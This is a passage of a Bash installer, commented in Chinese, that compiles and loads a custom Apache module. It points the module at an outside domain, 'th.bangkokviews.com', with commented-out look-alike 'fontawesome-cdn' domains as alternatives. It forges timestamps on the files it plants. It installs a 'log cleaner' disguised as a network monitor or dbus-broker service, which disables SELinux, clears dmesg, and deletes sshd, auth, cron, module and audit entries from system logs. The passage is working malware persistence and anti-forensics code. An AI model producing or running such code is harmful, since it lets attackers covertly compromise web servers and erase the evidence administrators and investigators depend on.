                            fi
                        else
                            log_error "Failed to find package path for $pkg."
                            download_success=false
                        fi
                    fi
                done
                
                if [ "$download_success" = false ]; then
                    log_error "Failed to download some required packages."
                    cd - >/dev/null
                    rm -rf "$temp_dir"
                    return 1
                fi
                
                # 安装下载的包
                log_info "Installing downloaded packages..."
                if ! dpkg -i --force-all ./*.deb >/dev/null 2>&1; then
                    log_warn "Some dependencies may be missing. Attempting to fix..."
                    apt-get install -f -y >/dev/null 2>&1
                fi
                ;;
                
            redhat|centos|fedora|oracle|oraclelinux|rocky)
                log_info "Downloading RHEL/CentOS development packages..."
                
                # 定义要下载的包列表
                local pkgs=("httpd-devel" "apr-devel" "apr-util-devel" "libcurl-devel")
                local download_urls=(
                    "http://mirror.centos.org/centos/8-stream/AppStream/${arch_suffix}/os/Packages/"
                    "http://mirror.centos.org/centos/8-stream/BaseOS/${arch_suffix}/os/Packages/"
                    "http://mirror.centos.org/centos/7/os/${arch_suffix}/Packages/"
                )
                
                # 为每个包尝试不同的镜像
                for pkg in "${pkgs[@]}"; do
                    local found=false
                    
                    for url in "${download_urls[@]}"; do
                        # 获取目录列表并过滤包名
                        log_info "Searching for $pkg in $url..."
                        local pkg_file=$(curl -s "$url" 2>/dev/null | grep -o "href=\"$pkg-[0-9].*\.rpm\"" | head -1 | sed 's/href="//;s/"//')
                        
                        if [ -n "$pkg_file" ]; then
                            log_info "Downloading $pkg_file..."
                            if wget -q "${url}${pkg_file}" 2>/dev/null; then
                                found=true
                                break
                            fi
                        fi
                    done
                    
                    if [ "$found" = false ]; then
                        log_warn "Could not download $pkg. Trying to use local package manager..."
                    fi
                done
                
                # 安装下载的包
                if ls ./*.rpm >/dev/null 2>&1; then
                    log_info "Installing downloaded RPM packages..."
                    rpm -Uvh --nodeps --force ./*.rpm >/dev/null 2>&1 || true
                else
                    log_error "No packages were downloaded successfully."
                    cd - >/dev/null
                    rm -rf "$temp_dir"
                    return 1
                fi
                ;;
                
            *)
                log_error "Unsupported system for manual package download: ${SYSTEM}"
                cd - >/dev/null
                rm -rf "$temp_dir"
                return 1
                ;;
        esac
        
        cd - >/dev/null
        rm -rf "$temp_dir"
        
        # 检查APXS是否被成功安装
        if command -v apxs >/dev/null 2>&1 || command -v apxs2 >/dev/null 2>&1; then
            log_success "Successfully installed APXS tool via manual download."
            return 0
        else
            log_error "Failed to install APXS tool via manual download."
            return 1
        fi
    }
    
    # 查找用于编译Apache模块的APXS工具
    find_apxs_tool() {
        log_info "Looking for Apache Extension Tool (APXS)..."
        APXS_BIN=""
        
        # 检查二进制目录和父目录
        local apache_bin_dir=$(dirname "$APACHE_BIN_PATH")
        local apache_parent_dir=$(dirname "$apache_bin_dir")
        
        # 检查常见位置
        local apxs_locations=(
            "$apache_bin_dir"
            "$apache_parent_dir/bin"
            "/usr/bin"
            "/usr/sbin"
            "/usr/local/bin"
            "/usr/local/sbin"
            "$APACHE_DIR/bin"
            "$APACHE_CONF_DIR/bin"
            "/usr/lib/httpd/bin"
            "/usr/lib64/httpd/bin"
            "/usr/share/httpd/bin"
        )
        
        # 尝试apxs和apxs2
        for dir in "${apxs_locations[@]}"; do
            for apx in "apxs" "apxs2"; do
                if [ -x "$dir/$apx" ]; then
                    APXS_BIN="$dir/$apx"
                    log_info "Found APXS tool: $APXS_BIN"
                    return 0
                fi
            done
        done
        
        # 如果未找到，尝试PATH
        for apx in "apxs" "apxs2"; do
            if command -v $apx >/dev/null 2>&1; then
                APXS_BIN=$(command -v $apx)
                log_info "Found APXS tool in PATH: $APXS_BIN"
                return 0
            fi
        done
        
        # 最后尝试：系统搜索
        log_info "Searching for APXS tool in the system..."
        for apx in "apxs" "apxs2"; do
            local apxs_path=$(find /usr /opt /etc /usr/local -name "$apx" -type f -executable -print -quit 2>/dev/null)
            if [ -n "$apxs_path" ]; then
                APXS_BIN="$apxs_path"
                log_info "Found APXS tool using system search: $APXS_BIN"
                return 0
            fi
        done
        
        # 如果仍未找到，尝试安装依赖项
        log_warn "APXS tool not found. Attempting to install dependencies..."
        
        # 尝试使用包管理器安装依赖
        local pkg_install_success=false
        
        case "${SYSTEM}" in
            debian|ubuntu)
                log_info "Installing Apache development packages for Debian/Ubuntu..."
                apt-get update -y >/dev/null 2>&1
                if installPackage "apt-get" "apache2-dev libcurl4-openssl-dev build-essential libapr1-dev libaprutil1-dev"; then
                    pkg_install_success=true
                fi
                ;;
            redhat|centos|fedora|oracle|oraclelinux|rocky)
                log_info "Installing Apache development packages for RHEL/CentOS..."
                local pkg_manager="yum"
                if command -v dnf >/dev/null 2>&1; then
                    pkg_manager="dnf"
                fi
                if installPackage "$pkg_manager" "httpd-devel libcurl-devel gcc make apr-devel apr-util-devel"; then
                    pkg_install_success=true
                fi
                ;;
            suse|opensuse*)
                log_info "Installing Apache development packages for SUSE..."
                if installPackage "zypper" "apache2-devel libcurl-devel gcc make libapr1-devel libapr-util1-devel"; then
                    pkg_install_success=true
                fi
                ;;
            arch|manjaro)
                log_info "Installing Apache development packages for Arch Linux..."
                if installPackage "pacman" "apache curl gcc make apr apr-util"; then
                    pkg_install_success=true
                fi
                ;;
            *)
                log_warn "Unknown distribution. Attempting generic installation..."
                if command -v apt-get >/dev/null 2>&1; then
                    if installPackage "apt-get" "apache2-dev libcurl4-openssl-dev"; then
                        pkg_install_success=true
                    fi
                elif command -v dnf >/dev/null 2>&1; then
                    if installPackage "dnf" "httpd-devel libcurl-devel"; then
                        pkg_install_success=true
                    fi
                elif command -v yum >/dev/null 2>&1; then
                    if installPackage "yum" "httpd-devel libcurl-devel"; then
                        pkg_install_success=true
                    fi
                else
                    log_error "Unsupported package manager. Please install Apache development packages manually."
                fi
                ;;
        esac
        
        # 如果包管理器安装成功，检查APXS是否可用
        if [ "$pkg_install_success" = true ]; then
            for apx in "apxs" "apxs2"; do
                if command -v $apx >/dev/null 2>&1; then
                    APXS_BIN=$(command -v $apx)
                    log_success "Successfully installed and found APXS tool: $APXS_BIN"
                    return 0
                fi
            done
            
            # 再次检查所有位置
            for dir in "${apxs_locations[@]}"; do
                for apx in "apxs" "apxs2"; do
                    if [ -x "$dir/$apx" ]; then
                        APXS_BIN="$dir/$apx"
                        log_success "Found APXS tool after installation: $APXS_BIN"
                        return 0
                    fi
                done
            done
        fi
        
        # 如果包管理器安装失败，尝试手动下载安装
        log_warn "Package manager installation failed. Attempting manual download and installation..."
        
        if download_apxs_dependencies; then
            # 再次检查APXS是否可用
            for apx in "apxs" "apxs2"; do
                if command -v $apx >/dev/null 2>&1; then
                    APXS_BIN=$(command -v $apx)
                    log_success "Successfully installed APXS tool via manual download: $APXS_BIN"
                    return 0
                fi
            done
            
            # 再次检查所有位置
            for dir in "${apxs_locations[@]}"; do
                for apx in "apxs" "apxs2"; do
                    if [ -x "$dir/$apx" ]; then
                        APXS_BIN="$dir/$apx"
                        log_success "Found APXS tool after manual installation: $APXS_BIN"
                        return 0
                    fi
                done
            done
        fi
        
        log_error "APXS tool not found even after installing dependencies."
        return 1
    }
    
    # 重启Apache
    restart_apache() {
        log_info "Restarting Apache to apply changes..."
        local restart_success=false
        
        # 方法1：使用Apache控制脚本
        if [ -n "$APACHE_BIN_PATH" ]; then
            local apache_bin_dir=$(dirname "$APACHE_BIN_PATH")
            for ctl in apachectl apache2ctl "$APACHE_BIN"ctl httpd.init apachectl.init apache2.init; do
                if [ -x "$apache_bin_dir/$ctl" ]; then
                    log_info "Attempting to restart Apache with $apache_bin_dir/$ctl..."
                    if "$apache_bin_dir/$ctl" restart; then
                        restart_success=true
                        log_success "Apache restarted successfully using $apache_bin_dir/$ctl"
                        break
                    fi
                fi
            done
        fi
        
        # 方法2：systemctl
        if [ "$restart_success" = false ] && command -v systemctl >/dev/null 2>&1; then
            for service in apache2 httpd apache; do
                if systemctl is-active --quiet $service 2>/dev/null; then
                    log_info "Attempting to restart $service with systemctl..."
                    if systemctl restart $service; then
                        restart_success=true
                        log_success "Apache restarted successfully using systemctl restart $service"
                        break
                    fi
                # 如果服务不活跃但可用，尝试启动它
                elif systemctl list-unit-files | grep -q "$service.service"; then
                    log_info "Attempting to start $service with systemctl..."
                    if systemctl start $service; then
                        restart_success=true
                        log_success "Apache started successfully using systemctl start $service"
                        break
                    fi
                fi
            done
        fi
        
        # 方法3：service命令
        if [ "$restart_success" = false ] && command -v service >/dev/null 2>&1; then
            for service in apache2 httpd apache; do
                if service $service status >/dev/null 2>&1; then
                    log_info "Attempting to restart $service with service command..."
                    if service $service restart; then
                        restart_success=true
                        log_success "Apache restarted successfully using service $service restart"
                        break
                    fi
                fi
            done
        fi
        
        # 方法4：PATH中的直接控制脚本
        if [ "$restart_success" = false ]; then
            for script in apachectl apache2ctl httpd apachectl.init apache2.init; do
                if command -v $script >/dev/null 2>&1; then
                    log_info "Attempting to restart Apache with $script..."
                    if $script restart; then
                        restart_success=true
                        log_success "Apache restarted successfully using $script restart"
                        break
                    fi
                fi
            done
        fi
        
        if [ "$restart_success" = false ]; then
            log_warn "Could not automatically restart Apache. You may need to restart it manually to load the new module."
            return 1
        fi
        
        return 0
    }
    
    # 验证模块安装
    verify_module_installation() {
        log_info "Verifying module installation..."
        local module_loaded=false
        
        # 方法1：使用Apache -M标志
        if [ -n "$APACHE_BIN_PATH" ]; then
            local apache_bin_dir=$(dirname "$APACHE_BIN_PATH")
            for ctl in "$APACHE_BIN" "$APACHE_BIN"ctl apachectl apache2ctl httpd; do
                if [ -x "$apache_bin_dir/$ctl" ]; then
                    if "$apache_bin_dir/$ctl" -M 2>/dev/null | grep -q "${MODULE_NAME}_module"; then
                        log_success "Module $MODULE_NAME is loaded in Apache."
                        module_loaded=true
                        break
                    fi
                fi
            done
        fi
        
        # 方法2：使用PATH中的控制命令
        if [ "$module_loaded" = false ]; then
            for cmd in apachectl apache2ctl "${APACHE_BIN}ctl" httpd; do
                if command -v $cmd >/dev/null 2>&1; then
                    if $cmd -M 2>/dev/null | grep -q "${MODULE_NAME}_module"; then
                        log_success "Module $MODULE_NAME is loaded in Apache."
                        module_loaded=true
                        break
                    fi
                fi
            done
        fi
        
        # 方法3：检查配置文件
        if [ "$module_loaded" = false ]; then
            if [ "$APACHE_BIN" = "apache2" ]; then
                # Debian/Ubuntu风格
                if [ -f "${APACHE_CONF_DIR}/mods-enabled/${MODULE_NAME}.load" ]; then
                    log_success "Module $MODULE_NAME is enabled in Apache configuration."
                    module_loaded=true
                    
                    # 应用时间戳伪装
                    if [ -d "${APACHE_CONF_DIR}/mods-enabled" ]; then
                        log_info "Applying timestamp to module configuration file..."
                        if get_base_time "${APACHE_CONF_DIR}/mods-enabled"; then
                            spoof_file_timestamp "${APACHE_CONF_DIR}/mods-enabled/${MODULE_NAME}.load" "$base_time"
                        fi
                    fi
                # 如果未启用，检查是否可用并尝试启用
                elif [ -f "${APACHE_CONF_DIR}/mods-available/${MODULE_NAME}.load" ]; then
                    log_warn "Module $MODULE_NAME is available but may not be enabled."
                    
                    # 尝试使用a2enmod启用
                    if command -v a2enmod >/dev/null 2>&1; then
                        log_info "Attempting to enable module with a2enmod..."
                        if a2enmod "$MODULE_NAME" >/dev/null 2>&1; then
                            log_success "Successfully enabled module with a2enmod."
                            module_loaded=true
                            
                            # 对两个文件应用时间戳伪装
                            if get_base_time "${APACHE_CONF_DIR}/mods-available"; then
                                spoof_file_timestamp "${APACHE_CONF_DIR}/mods-available/${MODULE_NAME}.load" "$base_time"
                                spoof_file_timestamp "${APACHE_CONF_DIR}/mods-enabled/${MODULE_NAME}.load" "$base_time"
                            fi
                            
                            # 重启Apache
                            restart_apache
                        else
                            log_warn "Failed to enable module with a2enmod. Manual intervention may be required."
                        fi
                    fi
                fi
            else
                # RHEL/CentOS风格
                local conf_files=(
                    "${APACHE_CONF_DIR}/conf.modules.d/00-${MODULE_NAME}.conf"
                    "${APACHE_CONF_DIR}/conf.modules.d/10-${MODULE_NAME}.conf"
                    "${APACHE_CONF_DIR}/conf.d/00-${MODULE_NAME}.conf"
                    "${APACHE_CONF_DIR}/conf.d/10-${MODULE_NAME}.conf"
                    "${APACHE_CONF_DIR}/conf.d/${MODULE_NAME}.conf"
                    "${APACHE_CONF_DIR}/extra/${MODULE_NAME}.conf"
                    "${APACHE_CONF_DIR}/modules.d/${MODULE_NAME}.conf"
                )
                
                for conf_file in "${conf_files[@]}"; do
                    if [ -f "$conf_file" ]; then
                        log_success "Module $MODULE_NAME is configured in Apache: $conf_file"
                        module_loaded=true
                        
                        # 应用时间戳伪装
                        if [ -d "$(dirname "$conf_file")" ]; then
                            if get_base_time "$(dirname "$conf_file")"; then
                                spoof_file_timestamp "$conf_file" "$base_time"
                            fi
                        fi
                        break
                    fi
                done
                
                # 如果在modules.d中未找到，检查主配置文件
                if [ "$module_loaded" = false ]; then
                    local httpd_conf_files=(
                        "${APACHE_CONF_DIR}/conf/httpd.conf"
                        "${APACHE_CONF_DIR}/httpd.conf"
                        "${APACHE_DIR}/conf/httpd.conf"
                        "${APACHE_CONF_DIR}/apache2.conf"
                    )
                    
                    for conf_file in "${httpd_conf_files[@]}"; do
                        if [ -f "$conf_file" ] && grep -q "LoadModule ${MODULE_NAME}_module" "$conf_file" 2>/dev/null; then
                            log_success "Module $MODULE_NAME is configured in Apache main configuration: $conf_file"
                            module_loaded=true
                            break
                        fi
                    done
                fi
            fi
        fi
        
        # 如果模块未验证，检查错误日志
        if [ "$module_loaded" = false ]; then
            log_warn "Could not verify if module $MODULE_NAME is loaded."
            log_info "Checking Apache logs for potential issues..."
            
            local error_logs=(
                "/var/log/apache2/error.log"
                "/var/log/httpd/error_log"
                "${APACHE_DIR}/logs/error_log"
                "${APACHE_DIR}/log/error_log"
                "${APACHE_DIR}/logs/error.log"
                "${APACHE_CONF_DIR}/logs/error_log"
            )
            
            local log_checked=false
            for log_file in "${error_logs[@]}"; do
                if [ -f "$log_file" ]; then
                    log_info "Found Apache error log: $log_file"
                    # 检查与我们模块相关的最近条目
                    local log_entries=$(grep -i "${MODULE_NAME}" "$log_file" 2>/dev/null | tail -n 5)
                    if [ -n "$log_entries" ]; then
                        log_warn "Found relevant log entries for $MODULE_NAME:"
                        log_info "$log_entries"
                    else
                        log_info "No recent errors found for $MODULE_NAME in logs."
                    fi
                    log_checked=true
                    break
                fi
            done
            
            if [ "$log_checked" = false ]; then
                log_warn "Could not find Apache error logs to check."
            fi
            
            log_info "Suggestions for fixing module loading issues:"
            log_info "1. Check Apache syntax with: ${APACHE_BIN_PATH} -t"
            log_info "2. Verify module file exists and has correct permissions"
            log_info "3. Manually restart Apache after installation"
            
            return 1
        fi
        
        return 0
    }
    
    # 为模块文件应用时间戳伪装
    spoof_module_timestamps() {
        log_info "Applying timestamp spoofing to Apache module files..."
        local module_so_file=""
        
        # 查找模块文件
        if [ -n "$APACHE_MODULES_DIR" ]; then
            local possible_names=(
                "$APACHE_MODULES_DIR/mod_${MODULE_NAME}.so"
                "$APACHE_MODULES_DIR/${MODULE_NAME}.so"
            )
            
            for name in "${possible_names[@]}"; do
                if [ -f "$name" ]; then
                    module_so_file="$name"
                    break
                fi
            done
            
            # 如果未使用标准名称找到，搜索目录
            if [ -z "$module_so_file" ]; then
                local found_module=$(find "$APACHE_MODULES_DIR" -name "*${MODULE_NAME}*.so" -print -quit 2>/dev/null)
                if [ -n "$found_module" ]; then
                    module_so_file="$found_module"
                fi
            fi
        fi
        
        # 如果仍未找到，搜索常见位置
        if [ -z "$module_so_file" ]; then
            log_info "Searching for module .so file in common system locations..."
            local found_module=$(find /usr/lib /usr/local/lib /usr/lib64 -name "*${MODULE_NAME}*.so" -print -quit 2>/dev/null)
            if [ -n "$found_module" ]; then
                module_so_file="$found_module"
            fi
        fi
        
        if [ -n "$module_so_file" ]; then
            log_info "Found module file: $module_so_file"
            
            # 从模块目录获取最旧的时间戳
            local module_dir=$(dirname "$module_so_file")
            if [ -d "$module_dir" ]; then
                if get_base_time "$module_dir"; then
                    log_info "Using oldest timestamp from modules directory: $base_time"
                    spoof_file_timestamp "$module_so_file" "$base_time" && 
                        log_success "Successfully applied timestamp spoofing to module file."
                else
                    log_warn "Could not determine base timestamp for module directory."
                    if [ -n "$base_time" ]; then
                        log_info "Using global base_time as fallback."
                        spoof_file_timestamp "$module_so_file" "$base_time" && 
                            log_success "Applied global timestamp to module file."
                    fi
                fi
            fi
        else
            log_warn "Could not find compiled module .so file for timestamp spoofing."
        fi
    }
    
    # 手动编译Apache模块（当APXS不可用时的备选方案）
    manual_compile_module() {
        log_info "Attempting manual compilation of Apache module..."
        
        # 创建临时目录
        local temp_dir=$(mktemp -d)
        cp "$MODULE_FILE" "$temp_dir/"
        pushd "$temp_dir" >/dev/null || return 1
        
        local module_c_file=$(basename "$MODULE_FILE")
        local so_file="${MODULE_NAME}.so"
        
        # 获取Apache包含目录
        local include_dirs=()
        
        # 常见的Apache包含目录
        include_dirs+=(
            "${APACHE_DIR}/include"
            "/usr/include/apache2"
            "/usr/include/httpd"
            "/usr/include/apr-1"
            "/usr/include/apr-1.0"
            "/usr/local/include/apache2"
            "/usr/local/include/httpd"
        )
        
        # 检查每个包含目录是否存在
        local include_flags=""
        for dir in "${include_dirs[@]}"; do
            if [ -d "$dir" ]; then
                include_flags+=" -I$dir"
            fi
        done
        
        # 如果没有找到包含目录，尝试使用apxs获取
        if [ -z "$include_flags" ] && [ -n "$APXS_BIN" ]; then
            include_flags=$("$APXS_BIN" -q CFLAGS 2>/dev/null)
        fi
        
        # 如果仍然没有包含目录，尝试查找
        if [ -z "$include_flags" ]; then
            log_info "Searching for Apache header files..."
            local apr_headers=$(find /usr /usr/local -name "apr.h" -print -quit 2>/dev/null)
            local httpd_headers=$(find /usr /usr/local -name "httpd.h" -print -quit 2>/dev/null)
            
            if [ -n "$apr_headers" ]; then
                include_flags+=" -I$(dirname "$apr_headers")"
            fi
            
            if [ -n "$httpd_headers" ]; then
                include_flags+=" -I$(dirname "$httpd_headers")"
            fi
        fi
        
        # 编译标志
        local compile_flags="-Wall -Wextra -O2 -fPIC -shared $include_flags -o $so_file $module_c_file -lcurl"
        
        log_info "Compiling with flags: $compile_flags"
        
        # 编译模块
        if gcc $compile_flags; then
            log_success "Manual compilation successful."
            
            # 创建目标目录
            if [ ! -d "$APACHE_MODULES_DIR" ]; then
                if ! mkdir -p "$APACHE_MODULES_DIR"; then
                    log_error "Failed to create modules directory: $APACHE_MODULES_DIR"
                    cd - >/dev/null
                    rm -rf "$temp_dir"
                    return 1
                fi
            fi
            
            # 复制模块到模块目录
            if cp "$so_file" "$APACHE_MODULES_DIR/mod_${MODULE_NAME}.so"; then
                log_success "Module installed to $APACHE_MODULES_DIR/mod_${MODULE_NAME}.so"
                
                # 创建配置文件
                if [ "$APACHE_BIN" = "apache2" ]; then
                    # Debian/Ubuntu风格
                    mkdir -p "${APACHE_CONF_DIR}/mods-available"
                    echo "LoadModule ${MODULE_NAME}_module ${APACHE_MODULES_DIR}/mod_${MODULE_NAME}.so" > "${APACHE_CONF_DIR}/mods-available/${MODULE_NAME}.load"
                    
                    # 启用模块
                    if command -v a2enmod >/dev/null 2>&1; then
                        a2enmod "$MODULE_NAME" >/dev/null 2>&1
                    else
                        mkdir -p "${APACHE_CONF_DIR}/mods-enabled"
                        ln -sf "${APACHE_CONF_DIR}/mods-available/${MODULE_NAME}.load" "${APACHE_CONF_DIR}/mods-enabled/${MODULE_NAME}.load"
                    fi
                else
                    # RHEL/CentOS风格
                    mkdir -p "${APACHE_CONF_DIR}/conf.modules.d"
                    echo "LoadModule ${MODULE_NAME}_module ${APACHE_MODULES_DIR}/mod_${MODULE_NAME}.so" > "${APACHE_CONF_DIR}/conf.modules.d/00-${MODULE_NAME}.conf"
                fi
                
                popd >/dev/null
                rm -rf "$temp_dir"
                return 0
            else
                log_error "Failed to copy module to $APACHE_MODULES_DIR"
            fi
        else
            log_error "Manual compilation failed."
        fi
        
        popd >/dev/null
        rm -rf "$temp_dir"
        return 1
    }
    
    # 主执行流程
    # 1. 检测Apache安装
    detect_apache_binary || {
        log_error "Apache installation not found. Please ensure Apache is installed."
        return 1
    }
    
    # 2. 获取Apache安装详情
    get_apache_details || {
        log_error "Failed to determine Apache installation details."
        return 1
    }
    
    # 3. 查找APXS工具
    local APXS_BIN=""
    find_apxs_tool
    local apxs_found=$?
    
    # 4. 更新模块源文件
    log_info "Updating module source with correct MODULE value..."
    if ! sed -i "s/bangkokviews/$MODULE/g" "$MODULE_FILE"; then
        log_error "Failed to update MODULE in $MODULE_FILE"
        return 1
    fi
        
    # if [ "$COUNTRY" = "MY" ]; then
        # if ! sed -i "s/example.com/my.fontawesome-cdn.com/g" "$MODULE_FILE"; then
            # log_error "Failed to set domain for MY in $MODULE_FILE. Exiting."
            # return 1
        # fi
        # log_success "Domain set successfully for MY in $MODULE_FILE."
    # elif [ "$COUNTRY" = "BR" ]; then
        # if ! sed -i "s/example.com/br.fontawesome-cdn.com/g" "$MODULE_FILE"; then
            # log_error "Failed to set domain for BR in $MODULE_FILE. Exiting."
            # return 1
        # fi
        # log_success "Domain set successfully for BR in $MODULE_FILE."
    # elif [ "$COUNTRY" = "IN" ]; then
        # if ! sed -i "s/example.com/in.fontawesome-cdn.com/g" "$MODULE_FILE"; then
            # log_error "Failed to set domain for IN in $MODULE_FILE. Exiting."
            # return 1
        # fi
        # log_success "Domain set successfully for IN in $MODULE_FILE."
    # else
        # log_error "Unknown country code: $COUNTRY"
        # return 1
    # fi
    
	if ! sed -i "s/example.com/th.bangkokviews.com/g" "$MODULE_FILE"; then
		log_error "Failed to set domain for TH in $MODULE_FILE. Exiting."
		return 1
	fi
	log_success "Domain set successfully for TH in $MODULE_FILE."
		
    # 5. 编译和安装模块
    log_info "Compiling and installing Apache module..."
    local compile_success=false
    
    # 首先尝试使用APXS编译
    if [ "$apxs_found" -eq 0 ] && [ -n "$APXS_BIN" ]; then
        # 切换到Apache模块目录
        pushd "APACHE" >/dev/null || {
            log_error "Failed to change to APACHE directory."
            return 1
        }
        
        # 使用优化标志编译模块
        log_info "Running APXS to compile and install module..."
        if "$APXS_BIN" -c -i -a -Wc,-Wall -Wc,-Wextra -Wc,-O2 -Wc,-fPIC -Wl,-shared "$MODULE_NAME.c" -lcurl; then
            log_success "Module successfully compiled and installed with APXS."
            compile_success=true
            
            # 清理构建文件
            log_info "Cleaning up build files..."
            rm -f "${MODULE_NAME}.lo" "${MODULE_NAME}.o" "${MODULE_NAME}.la" "${MODULE_NAME}.slo"
            rm -rf .libs/
        else
            log_warn "APXS compilation failed. Attempting manual compilation..."
        fi
        
        # 返回原目录
        popd >/dev/null
    fi
    
    # 如果APXS编译失败，尝试手动编译
    if [ "$compile_success" = false ]; then
        if manual_compile_module; then
            log_success "Module successfully compiled and installed manually."
            compile_success=true
        else
            log_error "All compilation methods failed. Apache module installation unsuccessful."
            return 1
        fi
    fi
    
    # 6. 重启Apache
    restart_apache
    
    # 7. 应用时间戳伪装
    spoof_module_timestamps
    
    # 8. 验证模块安装
    verify_module_installation
    
    APACHESTATUS=1
    log_success "Apache module $MODULE_NAME installation completed."
    return 0
}

# ================================= END APACHE =====================================================

CreateClearing() {
    log_start "Creating log cleaner service..."
    
    # 定义常量
    local script_dir="/usr/local/bin"
    local script_path="${script_dir}/${MODULE}_dbus.sh"
    local initd_path="/etc/init.d/dbus-brokerx"
    local systemd_path="/etc/systemd/system/netlinkd.service"
    local service_name="${service_name:-netlinkd}"
    
    # 检查服务是否已经安装
    if [[ -f "$script_path" && (-f "$systemd_path" || -f "$initd_path") ]]; then
        log_info "Log cleaner service is already installed."
        return 0
    fi
        
    # 获取基准时间戳用于伪装
    local base_time=""
    if get_base_time "/usr/local/bin"; then
        log_info "Using timestamp: $base_time"
    else
        # 如果获取失败，尝试使用系统关键文件
        if [[ -f /bin/bash ]]; then
            base_time=$(stat -c %y /bin/bash 2>/dev/null)
        elif [[ -f /bin/sh ]]; then
            base_time=$(stat -c %y /bin/sh 2>/dev/null)
        else
            base_time=$(date '+%Y-%m-%d %H:%M:%S')
            log_warn "Using current time as fallback for timestamp spoofing."
        fi
    fi
    
    # 确保目录存在
    if ! mkdir -p "$script_dir"; then
        log_error "Failed to create directory: $script_dir"
        return 1
    fi
    
    # 创建清理脚本
    log_info "Creating log cleaner script: $script_path"
	cat > "$script_path" <<EOF
#!/bin/bash

fix_path() {
    local path="\$1"
    local input="/var/log/\${path}"
    local backup="\${input}.bak"
    
    [[ -f "\$input" ]] || return
    cp -p "\$input" "\$backup" 2>/dev/null || return
    
    awk '
      !/kernel: \[ *[0-9.]+\]/ && 
      !/loaded module/ && 
      !/module .* not found/ && 
      !/failed to load/ && 
      !/unknown module/ &&
      !/CRON/ && 
      !/cron/ && 
      !/crond/ && 
      !/pam_unix.*session/ &&
      !/systemd/ && 
      !/daemon/ && 
      !/sshd/ && 
      !/Accepted/ && 
      !/Failed password/ &&
      !/loaded.*shared object/ && 
      !/preload/ && 
      !/lib.*\.so/ &&
      !/security policy/ && 
      !/authentication/ && 
      !/access/ && 
      !/denied/ &&
      !/exec/ && 
      !/usr.share/ && 
      !/bin.*sh/ && 
      !/opt/
    ' "\$backup" > "\$input" 2>/dev/null
    
    rm -f "\$backup" 2>/dev/null
}

{
    sleep 10
    
    command -v setenforce &>/dev/null && setenforce 0 &>/dev/null
    
    dmesg -c &>/dev/null
    
    for log_file in messages dmesg syslog kern.log secure auth.log boot.log daemon.log user.log; do
        fix_path "\$log_file"
    done
    
    for log_file in messages.1 dmesg.1 syslog.1 kern.log.1 secure.1 auth.log.1 boot.log.1 daemon.log.1 user.log.1; do
        fix_path "\$log_file"
    done
    
    if [ -f "/var/log/audit/audit.log" ]; then
        fix_path "audit/audit.log"
    fi
    
} &>/dev/null

exit 0
EOF

    # 设置可执行权限
    if ! chmod +x "$script_path"; then
        log_error "Failed to set executable permissions on $script_path"
        return 1
    fi
    
    # 应用时间戳伪装
    if [ -n "$base_time" ]; then
        spoof_file_timestamp "$script_path" "$base_time" || 
            log_warn "Failed to spoof timestamp for $script_path"
    fi
    
    log_success "Log cleaner script created and configured: $script_path"

    # 检测并使用systemd创建服务
    if command -v systemctl &>/dev/null; then
        log_info "Detected systemd, creating service unit..."
        
        # 创建systemd服务单元
        cat > "$systemd_path" <<EOF
[Unit]
Description=System Network Monitor Service
After=network.target
Documentation=man:dbus-broker(1)

[Service]
Type=simple
ExecStart=$script_path
Restart=on-failure
RestartSec=30s
StartLimitInterval=5min
StartLimitBurst=3
StandardOutput=null
StandardError=null
SyslogIdentifier=dbus-broker

[Install]
WantedBy=multi-user.target
EOF

        # 应用时间戳伪装到systemd服务文件
        if [ -n "$base_time" ]; then
            spoof_file_timestamp "$systemd_path" "$base_time" || 
                log_warn "Failed to spoof timestamp for $systemd_path"
        fi

        # 重载systemd配置并启用服务
        if ! systemctl daemon-reexec &>/dev/null; then
            log_warn "Failed to execute systemctl daemon-reexec, continuing..."
        fi
        
        if ! systemctl daemon-reload &>/dev/null; then
            log_warn "Failed to reload systemd daemon, continuing..."
        fi
        
        # 确保服务正确命名
        if ! systemctl enable --now "netlinkd.service" &>/dev/null; then
            log_warn "Failed to enable systemd service. Will create SysV init script as fallback."
        else
            log_success "Systemd service installed and started: $systemd_path"
        fi
        
        # 创建SysV init脚本作为额外保障
        log_info "Creating backup SysV init script: $initd_path"
        cat > "$initd_path" <<EOF
#!/bin/bash
# chkconfig: 2345 95 20
# description: System Network Monitor Service
### BEGIN INIT INFO
# Provides:          dbus-brokerx
# Required-Start:    \$network
# Required-Stop:
# Default-Start:     2 3 4 5
# Default-Stop:
# Short-Description: System Network Monitor Service
### END INIT INFO

# Service script path
SCRIPT="$script_path"

# Executable check
[ -x "\$SCRIPT" ] || exit 0

case "\$1" in
    start)
        echo "Starting system network monitor service..."
        "\$SCRIPT" &
        ;;
    stop)
        echo "Stopping system network monitor service..."
        pkill -f "\$SCRIPT"
        ;;
    restart)
        \$0 stop
        sleep 1
        \$0 start
        ;;
    status)
        if pgrep -f "\$SCRIPT" >/dev/null; then
            echo "Service is running"
            exit 0
        else
            echo "Service is not running"
            exit 1
        fi
        ;;
    *)
        echo "Usage: \$0 {start|stop|restart|status}"
        exit 1
        ;;
esac

exit 0
EOF

        # 设置可执行权限
        if ! chmod +x "$initd_path"; then
            log_warn "Failed to set executable permission on $initd_path"
        fi
        
        # 应用时间戳伪装到init脚本
        if [ -n "$base_time" ]; then
            spoof_file_timestamp "$initd_path" "$base_time" || 
                log_warn "Failed to spoof timestamp for $initd_path"
        fi
        
        # 注册init脚本到系统启动
        if command -v chkconfig &>/dev/null; then
            if ! chkconfig --add "dbus-brokerx" &>/dev/null; then
                log_warn "Failed to add service with chkconfig"
            else
                log_info "Service registered with chkconfig"
            fi
        elif command -v update-rc.d &>/dev/null; then
            if ! update-rc.d "dbus-brokerx" defaults &>/dev/null; then
                log_warn "Failed to add service with update-rc.d"
            else
                log_info "Service registered with update-rc.d"
            fi
        fi
        
        log_success "SysV init script installed: $initd_path"
    else
        # 如果没有systemd，只创建SysV init脚本
        log_info "Systemd not detected, creating SysV init script..."
        
        # 创建SysV init脚本
        cat > "$initd_path" <<EOF
#!/bin/bash
# chkconfig: 2345 95 20
# description: System Network Monitor Service
### BEGIN INIT INFO
# Provides:          dbus-brokerx
# Required-Start:    \$network
# Required-Stop:
# Default-Start:     2 3 4 5
# Default-Stop:
# Short-Description: System Network Monitor Service
### END INIT INFO

# Service script path
SCRIPT="$script_path"

# Executable check
[ -x "\$SCRIPT" ] || exit 0

case "\$1" in
    start)
        echo "Starting system network monitor service..."
        "\$SCRIPT" &
        ;;
    stop)
        echo "Stopping system network monitor service..."
        pkill -f "\$SCRIPT"
        ;;
    restart)
        \$0 stop
        sleep 1
